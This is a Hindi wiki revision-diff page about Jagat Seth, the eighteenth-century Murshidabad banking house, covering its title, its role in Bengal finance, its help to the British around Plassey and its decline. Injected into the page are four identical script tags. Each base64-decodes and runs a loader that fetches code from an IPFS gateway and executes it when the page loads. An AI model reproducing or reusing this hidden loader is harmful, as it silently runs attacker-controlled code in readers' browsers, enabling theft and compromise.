"जगत सेठ" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "फतह" to "फ़तह")
छो (Text replace - "कर्ज " to "कर्ज़ ")
पंक्ति 1: पंक्ति 1:
 
{{पुनरीक्षण}}फतेहचंद्र  को जगत सेठ के नाम से जाना जाता है। जगत सेठ नवाब [[सिराजुद्दौला]] के शासनकाल में मुर्शिदाबाद का एक अमीर व्यापारी था। मुर्शिदाबाद में वह जैन मारवाड़ी व्यवसायी परिवार से आया था। [[बंगाल]] के बहुत धनी महाजन मलिक चंद्र के गोद लिए हुए लड़के फ़तह चंद्र को [[दिल्ली]] के बादशाह ने 1723 ई. में ‘जगत सेठ’ की उपाधि दी थी। जगत सेठ की कोठियाँ ढाका, [[पटना]] और मुर्शिदाबाद में थीं। उसकी कोठी से रुपये का लेन-देन तो होता ही था, वह बंगाल की सरकार के भी कई काम करती थी। प्रान्तीय सरकार की तरफ से मालगुजारी वसूल करना, शाही खजाने को [[दिल्ली]] भेजना, सिक्के की विनिमय दर तय करना आदि भी उसी की ज़िम्मेदारी थी।  
 
{{पुनरीक्षण}}फतेहचंद्र  को जगत सेठ के नाम से जाना जाता है। जगत सेठ नवाब [[सिराजुद्दौला]] के शासनकाल में मुर्शिदाबाद का एक अमीर व्यापारी था। मुर्शिदाबाद में वह जैन मारवाड़ी व्यवसायी परिवार से आया था। [[बंगाल]] के बहुत धनी महाजन मलिक चंद्र के गोद लिए हुए लड़के फ़तह चंद्र को [[दिल्ली]] के बादशाह ने 1723 ई. में ‘जगत सेठ’ की उपाधि दी थी। जगत सेठ की कोठियाँ ढाका, [[पटना]] और मुर्शिदाबाद में थीं। उसकी कोठी से रुपये का लेन-देन तो होता ही था, वह बंगाल की सरकार के भी कई काम करती थी। प्रान्तीय सरकार की तरफ से मालगुजारी वसूल करना, शाही खजाने को [[दिल्ली]] भेजना, सिक्के की विनिमय दर तय करना आदि भी उसी की ज़िम्मेदारी थी।  
 
==दूसरा जगत सेठ==
 
==दूसरा जगत सेठ==
फतेहचंद्र के बाद उसका पौत्र महताब चंद्र दूसरा जगत सेठ बना। जब नवाब [[सिराजुद्दौला]] ने उसे अपमानित किया तो वह [[अंग्रेज़|अंग्रेज़ों]] के पक्ष में चला गया और [[प्लासी का युद्ध|प्लासी की लड़ाई]] से पहले और बाद में रुपये पैसों से उनकी बड़ी मदद की। यद्यपि [[मीर ज़ाफ़र]] के नवाब होने पर उसे फिर सम्मान प्राप्त हो गया था, पर मीर क़ासिम ने गद्दी पर बैठते ही उसकी वफ़ादारी पर संदेह करके 1763 ई. में उसे मरवा डाला। इसके बाद ही बंगाल का शासन अंग्रेजों के हाथ में आ गया और उन्होंने ‘[[ईस्ट इंडिया कंपनी]]’ के ऊपर जगत सेठ का कोई कर्ज होने से इंकार कर दिया। उसके बाद ही जगत सेठ घराने की अवनति शुरू हो गई। फिर भी 1912 ई. तक इस घराने के किसी न किसी व्यक्ति को जगत सेठ की उपाधि और थोड़ी-बहुत पेंशन अंग्रेजों की तरफ से मिलती रही। 1912 के बाद यह सिलसिला भी बंद हो गया।
+
फतेहचंद्र के बाद उसका पौत्र महताब चंद्र दूसरा जगत सेठ बना। जब नवाब [[सिराजुद्दौला]] ने उसे अपमानित किया तो वह [[अंग्रेज़|अंग्रेज़ों]] के पक्ष में चला गया और [[प्लासी का युद्ध|प्लासी की लड़ाई]] से पहले और बाद में रुपये पैसों से उनकी बड़ी मदद की। यद्यपि [[मीर ज़ाफ़र]] के नवाब होने पर उसे फिर सम्मान प्राप्त हो गया था, पर मीर क़ासिम ने गद्दी पर बैठते ही उसकी वफ़ादारी पर संदेह करके 1763 ई. में उसे मरवा डाला। इसके बाद ही बंगाल का शासन अंग्रेजों के हाथ में आ गया और उन्होंने ‘[[ईस्ट इंडिया कंपनी]]’ के ऊपर जगत सेठ का कोई कर्ज़ होने से इंकार कर दिया। उसके बाद ही जगत सेठ घराने की अवनति शुरू हो गई। फिर भी 1912 ई. तक इस घराने के किसी न किसी व्यक्ति को जगत सेठ की उपाधि और थोड़ी-बहुत पेंशन अंग्रेजों की तरफ से मिलती रही। 1912 के बाद यह सिलसिला भी बंद हो गया।
 
{{प्रचार}}
 
{{प्रचार}}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

11:29, 11 जुलाई 2011 का अवतरण

Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>फतेहचंद्र को जगत सेठ के नाम से जाना जाता है। जगत सेठ नवाब सिराजुद्दौला के शासनकाल में मुर्शिदाबाद का एक अमीर व्यापारी था। मुर्शिदाबाद में वह जैन मारवाड़ी व्यवसायी परिवार से आया था। बंगाल के बहुत धनी महाजन मलिक चंद्र के गोद लिए हुए लड़के फ़तह चंद्र को दिल्ली के बादशाह ने 1723 ई. में ‘जगत सेठ’ की उपाधि दी थी। जगत सेठ की कोठियाँ ढाका, पटना और मुर्शिदाबाद में थीं। उसकी कोठी से रुपये का लेन-देन तो होता ही था, वह बंगाल की सरकार के भी कई काम करती थी। प्रान्तीय सरकार की तरफ से मालगुजारी वसूल करना, शाही खजाने को दिल्ली भेजना, सिक्के की विनिमय दर तय करना आदि भी उसी की ज़िम्मेदारी थी।

दूसरा जगत सेठ

फतेहचंद्र के बाद उसका पौत्र महताब चंद्र दूसरा जगत सेठ बना। जब नवाब सिराजुद्दौला ने उसे अपमानित किया तो वह अंग्रेज़ों के पक्ष में चला गया और प्लासी की लड़ाई से पहले और बाद में रुपये पैसों से उनकी बड़ी मदद की। यद्यपि मीर ज़ाफ़र के नवाब होने पर उसे फिर सम्मान प्राप्त हो गया था, पर मीर क़ासिम ने गद्दी पर बैठते ही उसकी वफ़ादारी पर संदेह करके 1763 ई. में उसे मरवा डाला। इसके बाद ही बंगाल का शासन अंग्रेजों के हाथ में आ गया और उन्होंने ‘ईस्ट इंडिया कंपनी’ के ऊपर जगत सेठ का कोई कर्ज़ होने से इंकार कर दिया। उसके बाद ही जगत सेठ घराने की अवनति शुरू हो गई। फिर भी 1912 ई. तक इस घराने के किसी न किसी व्यक्ति को जगत सेठ की उपाधि और थोड़ी-बहुत पेंशन अंग्रेजों की तरफ से मिलती रही। 1912 के बाद यह सिलसिला भी बंद हो गया। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>